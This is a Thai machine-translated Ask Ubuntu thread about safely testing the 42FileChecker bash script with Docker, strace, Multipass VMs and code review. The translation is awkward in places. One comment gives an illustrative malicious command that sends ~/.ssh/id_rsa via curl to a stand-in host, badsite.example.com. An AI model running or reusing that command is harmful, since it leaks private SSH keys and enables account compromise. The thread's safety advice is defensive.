ฉันจะทดสอบเชลล์สคริปต์ใน "สภาพแวดล้อมที่ปลอดภัย" เพื่อหลีกเลี่ยงอันตรายต่อคอมพิวเตอร์ของฉันได้อย่างไร


29

ฉันต้องการติดตั้งสคริปต์ทุบตีที่เรียกว่า 42FileChecker โดยใช้คำสั่ง:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

แต่ฉันไม่รู้ว่า 42FileChecker.sh จะทำสิ่งแปลก ๆ บนพีซีของฉันเพราะฉันเป็นมือใหม่และไม่รู้ว่าเกิดอะไรขึ้นในสคริปต์นั้น มีวิธีเรียกใช้ในเทอร์มินัลจำลองหรือโฟลเดอร์รากจำลองหรืออะไรทำนองนั้นเพื่อดูว่าเกิดอะไรขึ้นเพื่อที่ฉันจะได้หลีกเลี่ยงสิ่งที่บ้าเหมือนการฟอร์แมตไดรฟ์ของฉัน ฉันต้องการทราบวิธีการทดสอบเชลล์สำหรับเชลล์สคริปต์ในอนาคตด้วยเช่นกันแม้ว่า 42FileChecker.sh จะปลอดภัย


5
เนื่องจากเป็นสคริปต์คุณสามารถอ่านและอ่านmanหน้าคำสั่งที่อยู่ในนั้นได้
waltinator

1
โปรดทราบว่าเนื่องจากรหัสนั้นโฮสต์อยู่บน Git คุณสามารถอ่านผ่านแหล่งที่มาของเครื่องมือ หากการตรวจสอบโค้ดไม่ใช่สิ่งที่คุณต้องการให้ทำการวิเคราะห์แบบ "ไดนามิก" โดยดำเนินการในสภาพแวดล้อมที่ปลอดภัย (sandbox, VM) เป็นทางออกที่ดีที่สุดของคุณ
BlueCacti

4
@waltinator หากคุณกังวลเกี่ยวกับพฤติกรรมที่เป็นอันตรายมากกว่าพฤติกรรมที่ไม่ได้ตั้งใจเพียงแค่อ่าน man pages จะไม่ช่วยอะไรเลย
เรย์

1
@ เรย์ต่อเมื่อคำสั่งที่เรียกใช้นั้นเป็นอันตรายตัวเองดังนั้นเพจ man ของพวกเขาจะปกปิดเอฟเฟกต์ที่แท้จริงของพวกเขา ผมคิดว่า waltinator หมายถึงกรณีที่น่าจะเป็นมากขึ้นในการใช้ที่เป็นอันตรายของคำสั่งมาตรฐานเช่นchmod 777 -R ~หรือcurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaหรือคล้ายกัน
Wildcard

1
ที่เกี่ยวข้อง คุณสามารถทดสอบสคริปต์โดยไม่ต้องเสี่ยงกับอันตรายใด ๆ กับคอมพิวเตอร์ของคุณและมันจะสอนให้เพื่อนร่วมงานของคุณล็อคเซสชันของพวกเขา
Eric Duminil

คำตอบ:


4

ฉันผู้เชี่ยวชาญที่นี้ แต่ผมจะแนะนำให้ใช้และstracedocker

ดังนั้นก่อนสร้างคอนเทนเนอร์นักเทียบท่าตามคำแนะนำในคำตอบนี้ แต่การเพิ่มขึ้นของ strace นั้นจะบอกคุณว่ามีการเรียกระบบอะไร หรืออ้างถึง:

strace เป็นยูทิลิตี้ userspace สำหรับการวินิจฉัยการดีบักและการเรียนการสอนสำหรับ Linux มันถูกใช้ในการตรวจสอบและยุ่งเกี่ยวกับการมีปฏิสัมพันธ์ระหว่างกระบวนการและเคอร์เนล Linux ซึ่งรวมถึงการเรียกระบบการส่งสัญญาณและการเปลี่ยนแปลงสถานะของกระบวนการ

คุณสามารถรวมคำสั่งเหล่านี้กับ

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

ดังนั้นสิ่งนี้จะผ่านแต่ละบรรทัดของสคริปต์ (ทีละขั้นตอน) และทำสิ่งนี้ทั้งหมดภายในคอนเทนเนอร์ซึ่งหมายความว่าคำสั่งทั้งหมดจะไม่ทำอะไรกับระบบของฉัน แต่จะทำงานได้ตามปกติ ฉันเข้าใจสิ่งนี้ถูกต้องหรือไม่
ลัส

1
@ นิโคลัสใช่ภาชนะนักเทียบท่าเป็นเครื่องแยกต่างหากสำหรับการป้องกันของคุณโปรแกรมจะถูก sandboxed Strace จะให้การดำเนินการทั้งหมดที่แอปพลิเคชันทำกับเครื่องนั้นตั้งแต่การเปิดไฟล์ไปจนถึงการตั้งค่าการเชื่อมต่อเครือข่าย
โทมัส

1
ใช่นั่นคือสิ่งที่ฉันกำลังมองหา Strace รวมกับ Docker
ลัส

42

หากคุณไม่แน่ใจว่าสคริปต์ทำอะไรคุณจะไม่สามารถเรียกใช้สคริปต์ได้จนกว่าคุณจะแน่ใจในสิ่งที่ทำ วิธีในการลดรัศมีความเสียหายของสคริปต์ที่ไม่ดีรวมถึงการเรียกใช้โดยใช้ผู้ใช้ใหม่เรียกใช้ในคอนเทนเนอร์หรือเรียกใช้ในเครื่องเสมือน แต่ข้อความแรกนั้นยังคงมีอยู่: หากคุณไม่แน่ใจว่ามีอะไรทำอยู่บ้างให้ลองอย่ารันจนกว่าคุณจะทำ


6
ในทางตรงกันข้ามสคริปต์เป็นเหมือน EULAs: ใช่คุณควรอ่านและทำความเข้าใจทุกบรรทัดก่อนที่จะขายวิญญาณของคุณ แต่คุณ?
ปีเตอร์ - Reinstate Monica

7
@ PeterA.Schneider แต่ EULA ไม่ได้ทำอะไรเลยจนกระทั่งขึ้นศาล การเรียกใช้สคริปต์มีผลทันทีบนคอมพิวเตอร์ของคุณ มันไม่ได้เกี่ยวกับการอ่านทุกบรรทัดมากนัก มันเกี่ยวกับ "ภาพสะท้อนในความไว้วางใจที่เชื่อถือได้" และการรู้จักและเชื่อถือแหล่งที่มาของสคริปต์
Wildcard

29

ตามที่ @tt กล่าวว่าอาจเป็นความคิดที่ดีที่จะเรียกใช้งานในกล่องทรายก่อน การใช้ VM น่าจะเป็นทางออกที่ง่ายที่สุด Multipassค่อนข้างง่าย

ติดตั้งมัลติคาสต์ (สมมติว่าคุณยังไม่ได้ทำ):

sudo snap install multipass --beta --classic

หมุน VM ใหม่:

multipass launch --name myvm

เข้าสู่ระบบ VM ใหม่ของคุณ:

multipass shell myvm

จากนั้นเรียกใช้สคริปต์ของคุณ (ใน vm ของคุณ):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
วิธีนี้ไม่ปลอดภัย หลังจากที่คุณเรียกใช้สคริปต์ในแซนด์บ็อกซ์คุณจะบอกได้อย่างไรว่ามันปลอดภัย มันอาจมีผลร้ายที่คุณไม่สามารถพูดได้อย่างง่ายดาย มัลแวร์ไม่จำเป็นต้องปรากฏขึ้นและพูดว่า "ฮ่าฮ่ามีคุณแล้ว!" นอกจากนี้สคริปต์ที่เป็นอันตรายอาจทำงานได้อย่างอ่อนโยนในขณะที่อยู่ในแซนด์บ็อกซ์หรือ VM จากนั้นจะทำงานที่เป็นอันตรายต่อคอมพิวเตอร์ของคุณ (ตัวอย่างเช่นการตรวจจับ VM เป็นสิ่งหนึ่งเช่นเดียวกับการพิมพ์ลายนิ้วมือด้วยเครื่อง)
DW

12
นี่คือจุดที่ดี หากคุณต้องการตรวจสอบสคริปต์เพื่อหามัลแวร์นี่ไม่ใช่โซลูชันที่มีประสิทธิภาพ นี่เป็นวิธีการทดสอบการทำงานโดยไม่ทำให้ระบบโฮสต์ของคุณสกปรก
Ryan J. Yoder

คุณสามารถทำการเปรียบเทียบแบบเต็มกับ VM "ควบคุม"
mckenzm

6
@mckenzm: แต่ถ้าเป็นมัลแวร์ก็เป็นไปได้โดยสิ้นเชิงว่ามันจะเลือกที่จะไม่ทำอะไรเลยจนกว่าจะพบว่าตัวเองสามารถเข้าถึงสิ่งที่ดูฉ่ำ
Henning Makholm

11

ในขณะที่โรงเรียนที่คุณเข้าร่วมมีการเผยแพร่สคริปต์สถานที่ที่ดีที่สุดในการแสดงความกังวลของคุณก็คือกับผู้สอนของคุณ

ที่กล่าวว่าเราสามารถช่วยคุณถอดรหัสรหัสแบบทีละบรรทัด มันอาจจะทำไม่ได้สำหรับทุกคนที่นี่เพื่อวิเคราะห์ทุกรหัส

คุณมีสคริปต์ทุบตี 40 อันรวม 5,360 บรรทัด ฉันได้รวมมันเข้าด้วยกันแล้วมองหาคำสั่ง bash / shell ที่อาจถูกละเมิด ดูเหมือนว่าจะใช้งานได้ตามปกติ :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • ไม่มีrm -rf /คำสั่งให้ล้างพาร์ติชันฮาร์ดดิสก์ทั้งหมด
  • ไม่มีข้อกำหนดที่sudoใช้ในการเรียกใช้สคริปต์
  • สคริปต์ทำให้แน่ใจได้ว่าCมีการใช้งานฟังก์ชันที่ได้รับอนุญาตในการตรวจสอบไฟล์เท่านั้น
  • การเรียกดูอย่างรวดเร็วของรหัส bash / shell แสดงว่ามันถูกเขียนอย่างมืออาชีพและง่ายต่อการติดตาม
  • การใช้shellcheckเมื่อรวมไฟล์รวมพบข้อผิดพลาดทางไวยากรณ์เพียงสามข้อ
  • ชื่อผู้แต่งจะถูกระบุและผู้เขียนหลักยังมีรูปภาพของเขาในgithubหน้า
  • แม้ว่าจะไม่มีการรับประกันในชีวิต แต่42FileCheckerก็ปลอดภัยที่จะใช้

ไม่ใช่สคริปต์ทุบตีที่มนุษย์อ่านได้ซึ่งคุณต้องกังวลมาก มันถูกรวบรวมวัตถุไบนารีที่คุณไม่สามารถอ่านที่เป็นสาเหตุของความกังวล ตัวอย่างเช่นโปรแกรมที่เรียกว่า "Shiny-bouncy-sphere" อาจวาดบางสิ่งเช่นนั้นบนหน้าจอของคุณ แต่ในพื้นหลังอาจเป็นการลบไฟล์ทั้งหมดของคุณ


คำตอบเดิม

ที่ดีที่สุดคือถามผู้เขียนของสคริปต์ว่ามันทำอะไร แน่นอนคุณสามารถโพสต์คำต่อคำของคำถามตามที่ปรากฏด้านบน

ถามผู้เขียนด้วย:

  • ไฟล์ใดได้รับการอัพเดต?
  • จะเกิดอะไรขึ้นหากระบบขัดข้องเนื่องจากไฟฟ้าขัดข้องหรือข้อบกพร่องของโปรแกรม
  • สามารถทำการสำรองข้อมูลขนาดเล็กก่อนได้หรือไม่?

และคำถามที่ดีอื่น ๆ ที่คุณนึกออก


แก้ไข 1 - กังวลเกี่ยวกับผู้เขียนที่เป็นอันตราย

คุณควรใช้ซอฟต์แวร์ที่มีบทวิจารณ์สาธารณะที่ดีมากมาย อีกทางเลือกหนึ่งผู้เขียนที่คุณไว้วางใจใน Ask Ubuntu เช่น Serge, Jacob, Colin King และอื่น ๆ เว็บไซต์ที่น่านับถืออื่น ๆ เช่น Ask Ubuntu และสมาชิกที่น่านับถือของพวกเขาควรได้รับการพิจารณาว่าเป็น "ไม่อันตราย"

ข้อได้เปรียบของ "ผู้เขียนที่เคารพนับถือ" ที่นี่ใน Ask Ubuntu คือพวกเขาเดิมพันคุณค่าของตนเองใน "คะแนนชื่อเสียง" หากพวกเขาตั้งใจเขียนโค้ดที่ "ขโมย" หรือ "เสียหาย" ข้อมูลพวกเขาก็จะเสียชื่อเสียงอย่างรวดเร็ว ผู้เขียนอาจได้รับ "ความโกรธแค้นของ mods" และถูกระงับและ / หรือมีคะแนนชื่อเสียง 10,000 คะแนน


แก้ไข 2 - อย่าทำตามคำแนะนำทั้งหมด

ฉันมองลึกลงไปในคำแนะนำสคริปต์ทุบตีของคุณ:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

วิธี "ปลอดภัย" คือการเรียกใช้บรรทัดแรกเท่านั้น:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

นี่เป็นการดาวน์โหลดสคริปต์ แต่ไม่ได้เรียกใช้ ใช้ครั้งถัดไปnautilus(ตัวจัดการไฟล์) เพื่อตรวจสอบไดเรกทอรีและไฟล์ที่ติดตั้ง คุณค้นพบอย่างรวดเร็วมากว่ามีกลุ่มของสคริปต์ทุบตีที่เขียนโดยกลุ่มนักเรียนในฝรั่งเศส

วัตถุประสงค์ของสคริปต์คือการรวบรวมและทดสอบโปรแกรม C สำหรับฟังก์ชั่นที่ไม่เหมาะสมและการรั่วไหลของหน่วยความจำ


1
ฉันควรใช่ แต่ฉันกำลังคิดเกี่ยวกับสถานการณ์ที่ผู้เขียนอาจทำสิ่งที่เป็นอันตรายโดยเจตนา
ลัส

1
@nicholas ฉันตอบความคิดเห็นของคุณโดยแก้ไขคำตอบ
WinEunuuchs2Unix

2
ฉันกำลังเรียนรู้ C ในหลักสูตร Ecole 42 ฟังก์ชั่นที่ฉันทำจำเป็นต้องเรียกใช้ผ่านการตรวจสอบมาตรฐานนี้ ฉันต้องติดตั้ง 42FileChecker ใน Ubuntu เพื่อเรียกใช้การตรวจสอบมาตรฐานนี้ ฉันเดาว่าตอนนี้ฉันต้องเชื่อใจในบทนี้ แต่ฉันต้องรู้วิธีการทำ "ความปลอดภัย" ของสคริปต์ก่อนเพราะฉันไม่เก่งในการค้นหาผู้ชาย ขอบคุณสำหรับความช่วยเหลือ ฉันจะเรียกใช้ VM ในครั้งต่อไป
ลัส

2
@nicholas สาย 24 ของ~/42FileChecker/includes/display/display_credits.shการทำงานของรัฐ norminette เป็น norminette (42 born2code) http://www.42.frdependancy: ผมอ่านนี้คืนที่ผ่านมาและมันเป็นเหตุผลที่ผมเขียนมันเป็นโรงเรียน (Ecole) ในประเทศฝรั่งเศสที่ตีพิมพ์42FileChecker จากสิ่งที่ฉันได้ดูรหัสจนถึงตอนนี้ฉันจะไม่กังวลเกี่ยวกับการเรียกใช้มัน นอกจากนี้ยังมีข้อผิดพลาดทางไวยากรณ์น้อยมากshellcheckซึ่งเป็นเรื่องที่น่าประหลาดใจสำหรับสคริปต์ทุบตี 5,360 บรรทัด สคริปต์ทุบตีเผยแพร่อย่างมืออาชีพจำนวนมากมีข้อผิดพลาดทางไวยากรณ์มากมาย
WinEunuuchs2Unix

2
@nicholas จากมุมมองด้านความปลอดภัยการใช้สภาพแวดล้อมและสคริปต์ที่จัดเตรียมไว้สำหรับชั้นเรียนน่าจะเป็นวิธีที่ดีที่สุด นอกจากนี้ยังลบความเป็นไปได้ของพฤติกรรมที่แตกต่างจากรุ่นของหลักสูตรอย่างเป็นทางการซึ่งอาจแปลกใจในเวลาเปิด คุณแน่ใจหรือว่าไม่มีการเข้าถึงเครื่องนี้จากระยะไกลอาจเป็นไปได้ว่าจะใช้บริการ VPN หรือ SSH จากมหาวิทยาลัยในคอมพิวเตอร์เครื่องอื่นที่คุณสามารถเข้าถึงจากระยะไกลได้
trognanders

5

คุณสามารถใช้ Docker คอนเทนเนอร์ของนักเทียบท่าจะแยกออกจากโฮสต์ระบบปฏิบัติการดังนั้นกิจกรรมที่เป็นอันตรายใด ๆ จะอยู่ในภาชนะบรรจุตราบใดที่คุณไม่ปล่อยให้มันออกมาเป็นพิเศษโดยการส่งต่อพอร์ตหรือติดตั้งระบบไฟล์

วิธีติดตั้งตัวเทียบท่า:

sudo apt-get install docker.io

วิธีดาวน์โหลดคอนเทนเนอร์ Ubuntu Bionic ใหม่:

docker pull ubuntu:bionic

หลังจากนั้นล็อกอินเข้าสู่คอนเทนเนอร์

docker run -it ubuntu:bionic

และดำเนินการหลบซึ่งอยู่ในนั้น:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
ประโยชน์อีกประการของนักเทียบท่าที่มีประโยชน์ในการพิจารณาว่าสคริปต์ทำอะไรได้บ้างคือคุณสามารถเรียกใช้docker diffเพื่อดูการเปลี่ยนแปลงที่ทำกับระบบไฟล์ตั้งแต่คุณเปิดตัวคอนเทนเนอร์ ข้อเสียของการใช้ Docker คือคอนเทนเนอร์ที่ไม่ใช่สำเนาของระบบโฮสต์ รูปภาพ Ubuntu ที่คุณพูดถึงที่นี่มีเพียงการติดตั้ง Ubuntu ขั้นต่ำ
Martijn Heemels

2
แทนที่จะdocker run ubuntuคุณควรใช้ช่วยให้คุณมีขั้วโต้ตอบในภาชนะและจริงทำงานรุ่นที่คุณต้องการแทนการเริ่มต้น docker run -it ubuntu:bionic-itbioniclatest
Martijn Heemels

ฉันชอบคำตอบนี้ดีที่สุดของคนที่ฉันได้เห็น อย่างไรก็ตามดูเหมือนว่าสคริปต์หลบซึ่งยังคงสามารถละเมิดระบบของคุณได้ มันอาจจะแอบทำเหมืองแร่ Bitcoins ฯลฯ จะเป็นการดีที่หนึ่งสามารถใช้ธงเพิ่มเติมอาจ--memory, --networkและอาจจะให้คนอื่นมันลงล็อคสคริปต์
emory

1
หากคุณหวาดระแวงจริงๆให้รวมคำตอบนี้เข้ากับคำตอบที่ดีที่สุดอันดับสอง เรียกใช้นักเทียบท่าภายในเครื่องเสมือนและล็อคทุกอย่าง
emory

3

พิจารณาใช้โหมดแก้ไขข้อบกพร่องโดยใช้สคริปต์เป็น:

$ bash -x scriptname

ข้อมูล Bash ที่มีประโยชน์เพิ่มเติม

โหมดการแก้ไขข้อบกพร่องจะไม่หยุดสคริปต์จากการทำสิ่งที่ไม่ดี แต่มันจะช่วยให้คุณผ่านสคริปต์บรรทัดต่อบรรทัดและตรวจสอบผลกระทบ คุณอาจตรวจสอบสคริปต์เพื่อหาข้อผิดพลาดที่อาจเกิดขึ้นได้ทั่วไปและ / หรือการหาประโยชน์เช่นค้นหาสคริปต์เพื่อค้นหาสิ่งที่เกิดขึ้นrmและดูคำสั่งเหล่านั้นอย่างใกล้ชิด หลายเครื่องมือเหล่านี้มีความช่วยเหลือบางอย่างในตัวสำหรับการพยายามที่พวกเขาออกเช่น RM จะไม่ลบไดเรกทอรีโดยค่าเริ่มต้นก็ต้องการ-r, -Rหรือ--recursiveตัวเลือกที่จะทำเช่นนั้น

อาจมีเครื่องมือคล้ายแอนติไวรัสที่จะค้นหา bash script สำหรับรูปแบบเหล่านี้ แต่ฉันไม่ทราบชื่อ สคริปต์ตัวอย่างของคุณนั้นค่อนข้างพิเศษหากคุณรู้สึกว่าพวกเขาดาวน์โหลดเครื่องมืออื่น ๆ ดังนั้นควรตรวจสอบสคริปต์แต่ละรายการด้วย ตรวจสอบเซิร์ฟเวอร์ที่พวกเขาติดต่ออาจคุ้มค่า


-x สามารถใช้สำหรับการแก้ไขข้อบกพร่อง (และฉันใช้มัน!) แต่มันจะไม่ยอมให้คุณก้าวผ่านสคริปต์ทีละบรรทัด มันจะให้ "ร่องรอย" ชนิดหนึ่งแก่คุณในขณะที่รันสคริปต์ด้วยความเร็วเต็ม
jrw32982 รองรับ Monica

2

ข้อมูลที่เกี่ยวข้องในการให้คำตอบนั้นพบได้ในความคิดเห็นของคุณเท่านั้น:

ฉันกำลังเรียนรู้ C ในหลักสูตร Ecole 42 ฟังก์ชั่นที่ฉันทำจำเป็นต้องเรียกใช้ผ่านการตรวจสอบมาตรฐานนี้ ฉันต้องติดตั้ง 42FileChecker ใน Ubuntu เพื่อเรียกใช้การตรวจสอบ norme นี้

ดังนั้นสถานการณ์คือในทางปฏิบัติคุณมีตัวเลือกในการข้ามหลักสูตรหรือคุณสามารถเรียกใช้สคริปต์เพื่อทำการตรวจสอบเชิงบรรทัดฐานบนแหล่งที่มาของคุณ การพูดคุยกับผู้สอนของคุณแทบจะเป็นทางเลือกเนื่องจากไม่มีอดีต (มันจะไม่เป็นทางเลือก แต่อย่างใดไม่มีโรงเรียนใดที่จะเปลี่ยนวิธีการของพวกเขาเพราะนักเรียนคนหนึ่งไม่พอใจกับมัน)
คำถามที่ต้องทำเพื่อจำกัดความเสียหายที่อาจเกิดขึ้นจากสคริปต์นั้นจึงไม่เกิดขึ้น มันไม่ได้เป็นสคริปต์สุ่มที่สาวเงี่ยนที่มีหน้าอกขนาดใหญ่ส่งอีเมลให้คุณและที่คุณต้องวิ่งไปดูภาพของเธอ
คุณกำลังเรียนการเขียนโปรแกรม นี้คือที่สคริปต์นี้เข้ามาเล่น คำถามคือคุณต้องการที่จะปฏิบัติตามเงื่อนไขของเฟรมสำหรับการจบหลักสูตรหรือไม่

อย่างไรก็ตามหากคุณกังวลอย่างแท้จริงยังคงมีความเป็นไปได้ที่จะเรียกใช้สคริปต์ในคอนเทนเนอร์หรือเครื่องเสมือนและใส่แหล่งที่มาของคุณในโฟลเดอร์ที่ใช้ร่วมกันหรือบนเครือข่ายที่เปิดเผยโดยคอนเทนเนอร์ / เครื่องเสมือน นั่นเป็นเส้นทางที่เต็มไปด้วยความหวาดระแวง แต่จากนั้นการทำเวอร์ชวลไลเซชันอีกครั้งนั้นไม่ใช่สิ่งที่ซับซ้อนในทุกวันนี้ดังนั้นจึงไม่เสียค่าใช้จ่ายมากนัก

ยกเว้นความเป็นไปได้ที่ไม่น่าเป็นไปได้ที่จะมีการใช้ช่องโหว่ที่รุนแรงในสคริปต์ดังกล่าวเข้าสู่ระบบในฐานะผู้ใช้ที่ไม่ใช่รูท (ซึ่งคุณแทบไม่ได้เลือกทำอย่างอื่นบน Ubuntu) และหลีกเลี่ยงการพิมพ์ sudoด้วยเหตุผลที่ชัดเจน สิ่งเลวร้ายทั้งหมดที่อาจเกิดขึ้นได้ เช่นการจัดรูปแบบฮาร์ดดิสก์ที่คุณเป็นห่วง ผู้ใช้ปกติไม่สามารถทำเช่นนั้นได้ สิ่งที่เลวร้ายที่สุดคือสคริปต์จะลบไดเรกทอรีภายในบ้านของผู้ใช้ ดังนั้นไม่มีปัญหาอะไรจริงๆ


หวังว่าความคิดเห็น OP ที่นี่ถ้าsudoจำเป็นต้องเรียกใช้สคริปต์ +1
WinEunuuchs2Unix

หลีกเลี่ยงการsudoจำกัด ขอบเขตของการลบ / การจัดรูปแบบโดยไม่ตั้งใจเนื่องจากข้อบกพร่อง หากสคริปต์เป็นอันตรายหรือใช้ประโยชน์ได้การรันด้วยsudoระบบผู้ใช้เดียวจะไม่ทำให้เกิดความแตกต่างที่สำคัญ
ผู้ชายคนอื่น

@ WinEunuuchs2Unix ฉันไม่คิดว่า sudo จำเป็น ฉันไม่รู้จริง ๆ จริง ๆ แม้ว่าฉันจะใช้ sudo สำหรับคำสั่งติดตั้ง apt นั่นหมายความว่าฉันต้องใช้เพื่อเรียกใช้สคริปต์ด้วยหรือไม่
ลัส

1
@ นิโคลัสฉันไม่มีโปรแกรม C ที่จะรวบรวมและทดสอบด้วย42FileCheckerดังนั้นฉันจึงไม่สามารถพูดได้ว่าsudoจำเป็นจริงๆหรือไม่ สคริปต์ทุบตีไม่ได้ตรวจสอบ sudo และบอกให้คุณใช้งาน มันจะปรากฏขึ้นแล้วว่าsudoไม่จำเป็น ฉันคิดว่าการถามอาจารย์ผู้สอนของคุณอีกครั้งเป็นนโยบายที่ดีที่สุด ฉันได้อัปเดตคำตอบเมื่อชั่วโมงที่แล้วด้วยการวิเคราะห์สคริปต์เล็กน้อย สังเกตว่าชื่อ " mynorminette" ปรากฏขึ้นอีกครั้งภายในรหัส
WinEunuuchs2Unix

1
@nicholas ฉันเดิมพันบางส่วนของอาจารย์เองรู้ norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk และฌองมิเชล Gigault 42FileCheckerที่ทุกคนมีส่วนทำให้ ฉันเชื่อว่าการพูดคุยกับผู้สอนจะทำให้คุณสบายใจ หลังจากสองสามชั่วโมงในการตรวจสอบฉันมีความเชื่อมั่นในการเขียนโปรแกรมและการสร้างของพวกเขา Jean-Michel Gigault ยังมีรูปของเขาใน GitHub เป็นเครื่องยืนยันถึงความมั่นใจในดินแดนที่มีเมล็ดพันธุ์พืชชนิดหนึ่งสีเหลืองเติบโต Viva La France! (et Ecole 42 :)) โปรดให้เราเป็นอย่างดีและเข้าร่วมเพื่ออัพเดทความคืบหน้า
WinEunuuchs2Unix
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.